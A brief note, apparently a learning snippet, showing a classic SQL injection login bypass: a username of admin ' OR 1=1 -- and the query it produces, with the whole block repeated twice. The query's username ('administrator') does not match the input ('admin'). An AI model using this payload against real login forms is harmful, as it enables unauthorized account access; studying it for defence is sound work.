Bypass login:
username = admin ' OR 1=1 --
password = ?
SELECT * FROM users WHERE username = 'administrator' OR 1=1 --' AND password = ''
Verification return true because 1=1 !
Bypass login:
username = admin ' OR 1=1 --
password = ?
SELECT * FROM users WHERE username = 'administrator' OR 1=1 --' AND password = ''
Verification return true because 1=1 !